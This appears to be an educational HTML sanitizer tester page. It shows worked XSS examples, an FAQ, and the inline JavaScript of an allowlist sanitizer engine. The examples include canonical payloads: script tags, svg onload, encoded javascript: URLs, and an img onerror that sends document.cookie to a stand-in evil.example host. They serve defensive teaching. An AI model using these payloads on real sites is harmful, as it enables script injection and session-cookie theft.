Skip to main content

HTML Sanitize Tester

Paste dirty HTML and watch an allowlist sanitizer take it apart: which tags are kept, which are stripped with their contents, and exactly which rule fired for every decision. A hands-on way to learn how HTML sanitization stops XSS.

Defensive tool, educational sanitizer. This page tests sanitization — it shows dangerous markup being neutralized, so you can verify a sanitizer is strict enough. It is not a weapon: the payloads below are the same canonical examples every security textbook uses. For production code that touches real user input, use a battle-tested library such as DOMPurify (JS), HTMLPurifier (PHP), or bleach (Python) — never a hand-rolled filter. Do not test payloads against websites you do not own.
Press “Test sanitization” to run the allowlist filter.

The allowlist rules

The sanitizer below is intentionally simple so every rule can be observed. Production libraries apply the same principles with far deeper coverage.

RuleWhat happens
R1 · allowlistOnly a b br em i li ol p strong u ul img are kept. Unknown wrappers (div span…) are unwrapped — text kept. Active-content tags (script style iframe object embed svg math form input…) are removed with their contents.
R2 · event handlersAny attribute starting with on (onclick, onerror, …) is always stripped.
R3 · styleThe style attribute is always stripped (CSS can hide javascript: URLs and expression()).
R4 · attributesOnly title (everywhere), href (on links), src/alt (on images) survive.
R5 · URLshref/src allow http https (+ mailto on links) or relative URLs. Entities are decoded and whitespace stripped before the check, so &#106;avascript: and java<tab>script: are caught.
R6 · commentsHTML comments, doctypes and processing instructions are removed.
R7 · caseTag and attribute names match case-insensitively (<ScRiPt> is still a script tag).

Worked examples

Each example below was computed by the actual sanitizer engine — input in, output out, with the rules that fired.

Classic <script> tag
The script element is removed with its entire contents; the safe paragraph survives untouched.
Input
<script>alert("xss")</script><p>Welcome back!</p>
Sanitized output
<p>Welcome back!</p>
Rules fired: dropped+contents, kept
1 kept · 1 removed · 0 unwrapped · 0 attrs stripped
<img> with onerror handler
onerror is an event handler (R2): stripped. The harmless src attribute is kept.
Input
<img src="avatar.png" onerror="fetch('https://evil.example/?c='+document.cookie)">
Sanitized output
<img src="avatar.png">
Rules fired: on* stripped, kept
1 kept · 0 removed · 0 unwrapped · 1 attrs stripped
<svg> with onload
SVG can host script execution, so the whole element is dropped with its contents (R1) — there is no script tag to find.
Input
<svg onload="alert(1)"><circle r="10"/></svg>
Sanitized output
(empty — everything removed)
Rules fired: dropped+contents
0 kept · 1 removed · 0 unwrapped · 0 attrs stripped
Entity-encoded javascript: URL
Entities are decoded before the protocol check (R5): &#106; becomes j, so the javascript: URL is caught and stripped. Link text is kept.
Input
<a href="&#106;avascript&#58;alert(1)">Free coupons</a>
Sanitized output
<a>Free coupons</a>
Rules fired: bad URL stripped, kept
1 kept · 0 removed · 0 unwrapped · 1 attrs stripped
Safe tag, dangerous attributes
The p tag is allowlisted, but style (R3), onclick (R2), and class (R4, not allowlisted) are each stripped by their own rule.
Input
<p style="color:red" onclick="track()" class="intro">Hello</p>
Sanitized output
<p>Hello</p>
Rules fired: style stripped, on* stripped, attr stripped, kept
1 kept · 0 removed · 0 unwrapped · 3 attrs stripped
Nested-tag bypass attempt
A naive regex deleting <script> once would leave a live tag behind. The real parser finds the inner script element and drops it with its contents; the fragments become inert text.
Input
<scr<script>ipt>alert(1)</scr</script>ipt>
Sanitized output
&lt;script&gt;
Rules fired: dropped+contents
0 kept · 1 removed · 0 unwrapped · 0 attrs stripped
Hidden <iframe>
iframes load full remote documents: removed with contents (R1), even when invisible.
Input
<p>Article text</p><iframe src="https://evil.example/" width="0" height="0"></iframe>
Sanitized output
<p>Article text</p>
Rules fired: kept, dropped+contents
1 kept · 1 removed · 0 unwrapped · 0 attrs stripped
Rich formatting that survives
Everything here is on the allowlist with safe attributes, so the output is identical to the input — sanitization is not about destroying formatting.
Input
<p>Read the <a href="https://example.com/guide">guide</a>:</p><ul><li><b>Bold</b> step</li><li><i>Italic</i> step</li></ul>
Sanitized output
<p>Read the <a href="https://example.com/guide">guide</a>:</p><ul><li><b>Bold</b> step</li><li><i>Italic</i> step</li></ul>
Rules fired: kept
7 kept · 0 removed · 0 unwrapped · 0 attrs stripped
Unknown wrapper is unwrapped
div and span cannot run scripts by themselves: the tags are removed but their text content is kept (R1).
Input
<div class="layout"><span id="s1">Keep this text</span></div>
Sanitized output
Keep this text
Rules fired: unwrapped
0 kept · 2 removed · 2 unwrapped · 0 attrs stripped
Comment hiding a payload
Comments are removed outright (R6) — they are a classic place to hide conditional payloads.
Input
<!--[if IE]><script>alert(1)</script><![endif]--><p>Visible</p>
Sanitized output
<p>Visible</p>
Rules fired: comment removed, kept
1 kept · 0 removed · 0 unwrapped · 0 attrs stripped

Frequently asked questions

It shows exactly what happens when dirty HTML passes through an allowlist sanitizer: which tags are kept, which are removed with their contents (like script, iframe, and svg), which are unwrapped but keep their text (like div), and which attributes are stripped (event handlers such as onerror, style attributes, and javascript: URLs). Each decision is listed with the rule that caused it, so you learn how sanitizers think — not just what the output looks like.
An allowlist sanitizer keeps only tags and attributes it explicitly recognizes as safe (for example b, i, a, p, img with src and alt) and removes everything else. A blocklist sanitizer tries to remove known-dangerous patterns (like the literal string &lt;script&gt;) while keeping everything else. Allowlists win because attackers constantly invent new dangerous constructs — uppercase tags, nested tags, entity-encoded protocols — that a blocklist has to anticipate one by one, while an allowlist rejects anything it does not understand by default. This tool demonstrates the allowlist approach.
No. The sanitizer in this tool is intentionally simple and educational — it exists so you can see each rule fire. For production code that handles real user input, use a battle-tested library: DOMPurify for JavaScript, HTMLPurifier for PHP, or bleach for Python. Those libraries have survived years of adversarial review and bug bounties; a hand-rolled sanitizer has not. Use this tool to build intuition, then ship the library.
Because HTML is not a regular language and browsers parse it with elaborate error recovery. A regex that strips out script tags misses &lt;ScRiPt&gt; (case), &lt;scr&lt;script&gt;ipt&gt; (nesting), and <svg onload=...> (no script tag at all). Try the preset payloads above: each one defeats a different naive regex while the allowlist parser handles all of them. Correct sanitization requires real parsing — walking the tag structure the way a browser does — not pattern matching on strings.
They solve different problems in different contexts. Output encoding (turning < into &lt;) is for places where user input must be treated as pure text — it is the right default almost everywhere. Sanitizing is for the rarer case where you intentionally want to render some user HTML, like a rich-text comment: you keep safe formatting (bold, links, lists) while removing anything executable. If you do not need rich formatting, encode; do not sanitize. Encoding is simpler and has fewer ways to go wrong.
No — never rely on it as your security boundary. Client-side sanitization (including this tool) is for preview, learning, and defense in depth. An attacker can bypass anything that runs in their own browser by sending requests directly to your server. The sanitization that matters must run on your server, on untrusted input, before it is stored or rendered. Treat browser-side checks as user experience, not security.
Because both are script-execution vectors in disguise. The style attribute can hide javascript: URLs inside CSS properties (and historically expression() in old IE), and an href or src starting with javascript: runs code when the link is clicked — entity-encoded or tab-padded variants like &#106;avascript: or java\tscript: defeat naive string checks, which is why the sanitizer decodes entities and strips whitespace before checking the protocol. Only http, https (and mailto for links), or relative URLs survive.
Tags: a, b, br, em, i, li, ol, p, strong, u, ul, and img. Attributes: title on any of them, href on links, and src plus alt on images. Everything else is either unwrapped (harmless containers like div and span keep their text) or removed with its contents (script, style, iframe, object, embed, svg, math, form elements, and media tags). Event-handler attributes starting with on are always stripped, even on allowlisted tags.
Use the preset payload library as a checklist: run each payload through your sanitizer and compare its output with what this tool produces. The classic cases are the &lt;script&gt; tag, <img onerror>, <svg onload>, javascript: URLs (including entity-encoded and case-mangled variants), style attributes, nested tags like &lt;scr&lt;script&gt;ipt&gt;, and comments hiding payloads. If your sanitizer keeps anything this tool strips, investigate why — and remember that passing a checklist is necessary but not sufficient; use DOMPurify or an equivalent library rather than maintaining your own.
No. All sanitization runs entirely in your browser with JavaScript — your input never leaves your device. You can disconnect from the internet after the page loads and the tool keeps working. Nothing you paste is stored, logged, or transmitted anywhere.
<script> /* HTML Sanitize Tester — engine (single source of truth). * * A small, educational allowlist HTML sanitizer. Pure JS: runs unchanged in * the browser and under node (used by test.js). No DOM APIs, no network. * * Rules (documented; every decision is logged): * R1 Allowlisted tags only: a, b, br, em, i, li, ol, p, strong, u, ul, img. * Anything else is either unwrapped (formatting-neutral containers like * div/span keep their text) or dropped WITH its contents (tags that can * load active content: script, style, iframe, object, embed, svg, ...). * R2 Event-handler attributes (on*) are always stripped. * R3 The style attribute is always stripped (blocks CSS expression() and * javascript: URLs inside CSS). * R4 Only allowlisted attributes survive: title everywhere; href on ; * src/alt on . Everything else is stripped. * R5 href/src values must use a safe protocol: http/https (+ mailto for * links). javascript:, data:, vbscript: etc. are stripped. Entity-encoded * and whitespace-padded protocols are decoded before the check. * R6 HTML comments, doctypes and processing instructions are removed. * R7 Tag and attribute names are matched case-insensitively. * * Exposes: hstSanitize(html) -> { html, log, stats } * html : sanitized HTML source string * log : [{rule, target, why}] capped at 500 entries * stats : {kept, removed, unwrapped, attrsStripped, commentsRemoved, contentDropped} */ 'use strict'; var HST_ALLOW = { a: ['href', 'title'], b: ['title'], br: ['title'], em: ['title'], i: ['title'], li: ['title'], ol: ['title'], p: ['title'], strong: ['title'], u: ['title'], ul: ['title'], img: ['src', 'alt', 'title'] }; var HST_VOID = { br: 1, img: 1 }; /* Tags removed WITH their entire subtree (can host active content). */ var HST_DROP = { script: 1, style: 1, iframe: 1, frame: 1, frameset: 1, noframes: 1, object: 1, embed: 1, noembed: 1, applet: 1, svg: 1, math: 1, xmp: 1, plaintext: 1, textarea: 1, noscript: 1, link: 1, meta: 1, base: 1, form: 1, input: 1, button: 1, select: 1, optgroup: 1, option: 1, video: 1, audio: 1, source: 1, track: 1 }; var HST_LOG_CAP = 500; function hstDecodeEntities(s) { var named = { amp: '&', lt: '<', gt: '>', quot: '"', apos: "'", colon: ':', Tab: '\t', NewLine: '\n' }; return String(s).replace(/&(#\d+|#[xX][0-9a-fA-F]+|[a-zA-Z][a-zA-Z0-9]*);/g, function (m, e) { if (e.charAt(0) === '#') { var cp = (e.charAt(1).toLowerCase() === 'x') ? parseInt(e.slice(2), 16) : parseInt(e.slice(1), 10); if (cp > 0 && cp <= 0x10FFFF) return String.fromCodePoint(cp); return m; } return named[e] !== undefined ? named[e] : m; }); } /* R5: protocol check on a decoded, whitespace-stripped, lowercased value. */ function hstSafeUrl(val, kind) { var v = hstDecodeEntities(String(val)).replace(/[\x00-\x20]+/g, '').toLowerCase(); var m = v.match(/^([a-z][a-z0-9+.-]*):/); if (!m) return true; /* relative URL: no scheme to abuse */ var proto = m[1]; if (kind === 'img') return proto === 'http' || proto === 'https'; return proto === 'http' || proto === 'https' || proto === 'mailto'; } function hstEscText(s) { return String(s).replace(/&/g, '&').replace(//g, '>'); } function hstEscAttr(s) { return String(s).replace(/&/g, '&').replace(/"/g, '"'); } function hstIsWs(c) { return c === ' ' || c === '\t' || c === '\n' || c === '\r' || c === '\f'; } function hstSanitize(src) { src = String(src); var log = []; var stats = { kept: 0, removed: 0, unwrapped: 0, attrsStripped: 0, commentsRemoved: 0, contentDropped: 0 }; var out = []; var stack = []; /* open tags: {tag, emit} */ var dropTag = null; var dropDepth = 0; var i = 0; var n = src.length; function addLog(rule, target, why) { if (log.length < HST_LOG_CAP) log.push({ rule: rule, target: target, why: why }); } function emitText(t) { if (dropDepth > 0 || !t) return; out.push(hstEscText(t.replace(/\x00/g, '\uFFFD'))); } function closeUpTo(name) { /* Close open tags down to (and including) `name`. Returns true if found. */ var k = -1; for (var s = stack.length - 1; s >= 0; s--) { if (stack[s].tag === name) { k = s; break; } } if (k < 0) return false; for (var s2 = stack.length - 1; s2 >= k; s2--) { var e = stack.pop(); if (e.emit) out.push(''); } return true; } /* Parse one tag starting at src[i] === '<'. Returns next index, or -1 if * the '<' should be treated as literal text. */ function parseTag() { var j = i + 1; /* comment */ if (src.substr(j, 3) === '!--') { var end = src.indexOf('-->', j + 3); if (end < 0) { i = n; } else { i = end + 3; } stats.commentsRemoved++; addLog('comment-removed', '(html comment)', 'R6: HTML comments are removed (they can hide conditional payloads in old IE).'); return i; } /* close tag */ if (src.charAt(j) === '/') { j++; var m = /^([A-Za-z][A-Za-z0-9]*)/.exec(src.slice(j)); if (!m) return -1; var cname = m[1].toLowerCase(); j += m[1].length; while (j < n && hstIsWs(src.charAt(j))) j++; if (src.charAt(j) !== '>') return -1; i = j + 1; if (dropDepth > 0) { if (cname === dropTag) dropDepth--; return i; } if (cname in HST_ALLOW) { if (!closeUpTo(cname)) { stats.removed++; addLog('stray-close-tag', '', 'R1: closing tag with no matching open tag is dropped.'); } } else if (!(cname in HST_DROP)) { /* close of an unwrapped tag: pop silently if it matches an open unwrapped entry */ for (var s = stack.length - 1; s >= 0; s--) { if (stack[s].tag === cname && !stack[s].emit) { stack.splice(s, 1); break; } if (stack[s].emit) break; } } else { stats.removed++; addLog('stray-close-tag', '', 'R1: closing tag with no matching open tag is dropped.'); } return i; } /* doctype / bogus and processing instructions <\u003f...> */ if (src.charAt(j) === '!' || src.charAt(j) === '?') { var k = j; while (k < n && src.charAt(k) !== '>') k++; var declKind = src.charAt(j) === '!' ? '' : '<\u003f...?>'; i = k < n ? k + 1 : n; stats.removed++; addLog('declaration-removed', declKind, 'R6: doctypes, declarations and processing instructions are removed.'); return i; } /* open tag */ var om = /^([A-Za-z][A-Za-z0-9]*)/.exec(src.slice(j)); if (!om) return -1; var name = om[1].toLowerCase(); var rawName = om[1]; j += om[1].length; var attrs = []; var selfClose = false; var ok = true; var closed = false; while (j < n) { var c = src.charAt(j); if (c === '<') { ok = false; break; } /* abort: new tag starts */ if (hstIsWs(c)) { j++; continue; } if (c === '>') { j++; closed = true; break; } if (c === '/' && src.charAt(j + 1) === '>') { selfClose = true; j += 2; closed = true; break; } /* attribute name */ var an = /^([^\s=/>]+)/.exec(src.slice(j)); if (!an || an[1].indexOf('<') >= 0) { ok = false; break; } var aname = an[1]; j += an[1].length; while (j < n && hstIsWs(src.charAt(j))) j++; var avalue = null; if (src.charAt(j) === '=') { j++; while (j < n && hstIsWs(src.charAt(j))) j++; var q = src.charAt(j); if (q === '"' || q === "'") { j++; var ve = src.indexOf(q, j); if (ve < 0) { ok = false; break; } avalue = src.slice(j, ve); j = ve + 1; } else { var vs = j; while (j < n && !hstIsWs(src.charAt(j)) && src.charAt(j) !== '>') j++; avalue = src.slice(vs, j); if (avalue.charAt(avalue.length - 1) === '/' && src.charAt(j) === '>') { avalue = avalue.slice(0, -1); selfClose = true; } } } attrs.push({ name: aname, value: avalue }); } if (!ok || !closed) return -1; /* malformed or unterminated: treat '<' as text */ if (j > n) return -1; i = j; if (dropDepth > 0) { if (name === dropTag && !selfClose) dropDepth++; return i; } if (name in HST_DROP) { if (!selfClose) { dropTag = name; dropDepth = 1; } stats.contentDropped++; stats.removed++; addLog('tag-content-dropped', '<' + rawName + '>', 'R1: <' + name + '> can host active content, so the tag and everything inside it are removed.'); return i; } if (name in HST_ALLOW) { var kept = []; var seen = {}; for (var a = 0; a < attrs.length; a++) { var at = attrs[a]; var anm = at.name.toLowerCase(); if (seen[anm]) continue; seen[anm] = 1; if (/^on/i.test(at.name)) { stats.attrsStripped++; addLog('attr-stripped-event', anm + '="..."', 'R2: event-handler attributes (on*) can run JavaScript and are always stripped.'); continue; } if (anm === 'style') { stats.attrsStripped++; addLog('attr-stripped-style', 'style="..."', 'R3: the style attribute is stripped (CSS can hide expression() and javascript: URLs).'); continue; } var allowedForTag = HST_ALLOW[name]; var isGlobal = (anm === 'title'); if (allowedForTag.indexOf(anm) < 0 && !isGlobal) { stats.attrsStripped++; addLog('attr-not-allowlisted', anm + '="..."', 'R4: <' + name + '> only allows ' + allowedForTag.concat(['title']).join(', ') + ' — other attributes are stripped.'); continue; } var v = at.value === null ? '' : at.value; if ((anm === 'href' || anm === 'src') && !hstSafeUrl(v, name === 'img' ? 'img' : 'a')) { stats.attrsStripped++; addLog('attr-stripped-protocol', anm + '="' + v.slice(0, 40) + '"', 'R5: URL uses a dangerous protocol (e.g. javascript:) — only http/https' + (name === 'img' ? '' : '/mailto') + ' or relative URLs are kept.'); continue; } kept.push(' ' + anm + '="' + hstEscAttr(v) + '"'); } var isVoid = !!HST_VOID[name]; out.push('<' + name + kept.join('') + '>'); stats.kept++; addLog('tag-kept', '<' + name + '>', 'R1: <' + name + '> is on the allowlist and is kept' + (kept.length ? ' (' + kept.length + ' safe attribute' + (kept.length > 1 ? 's' : '') + ' kept).' : ' (no attributes).')); if (!isVoid && !selfClose) stack.push({ tag: name, emit: true }); else if (selfClose && !isVoid) out.push(''); return i; } /* not allowlisted and not dangerous: unwrap, keep children */ stats.unwrapped++; stats.removed++; addLog('tag-unwrapped', '<' + rawName + '>', 'R1: <' + name + '> is not on the allowlist but cannot run scripts by itself — the tag is removed but its text content is kept.'); if (!selfClose && !HST_VOID[name]) stack.push({ tag: name, emit: false }); return i; } while (i < n) { var lt = src.indexOf('<', i); if (lt < 0) { emitText(src.slice(i)); break; } emitText(src.slice(i, lt)); i = lt; var next = parseTag(); if (next < 0) { emitText('<'); i++; } else { i = next; } } /* auto-close anything still open */ while (stack.length) { var e = stack.pop(); if (e.emit) out.push(''); } return { html: out.join(''), log: log, stats: stats }; } if (typeof module !== 'undefined' && module.exports) { module.exports = { hstSanitize: hstSanitize, HST_ALLOW: HST_ALLOW, HST_DROP: HST_DROP, hstSafeUrl: hstSafeUrl }; } /* === HST UI (DOM wiring). engine.js (hstSanitize) is inlined above this block. === */ (function () { 'use strict'; var inputEl = document.getElementById('hstInput'); var outEl = document.getElementById('hstOut'); var previewEl = document.getElementById('hstPreview'); var diffInEl = document.getElementById('hstDiffIn'); var diffOutEl = document.getElementById('hstDiffOut'); var statsEl = document.getElementById('hstStats'); var logWrap = document.getElementById('hstLogWrap'); var logBody = document.getElementById('hstLogBody'); var payloadsEl = document.getElementById('hstPayloads'); /* Canonical textbook payloads for testing sanitizer strictness. * NOTE: '<\/script>' in source keeps the page's own <script> block intact. */ var PRESETS = [ { label: '<script> tag', text: '<script>alert(1)<\/script>' }, { label: '', text: '' }, { label: '', text: '' }, { label: 'javascript: URL', text: 'click me' }, { label: 'encoded javascript:', text: 'click me' }, { label: 'event handler', text: '

hover text

' }, { label: 'style attribute', text: '

styled

' }, { label: 'nested tags', text: '<scr<script>ipt>alert(1)ipt>' }, { label: 'hidden iframe', text: '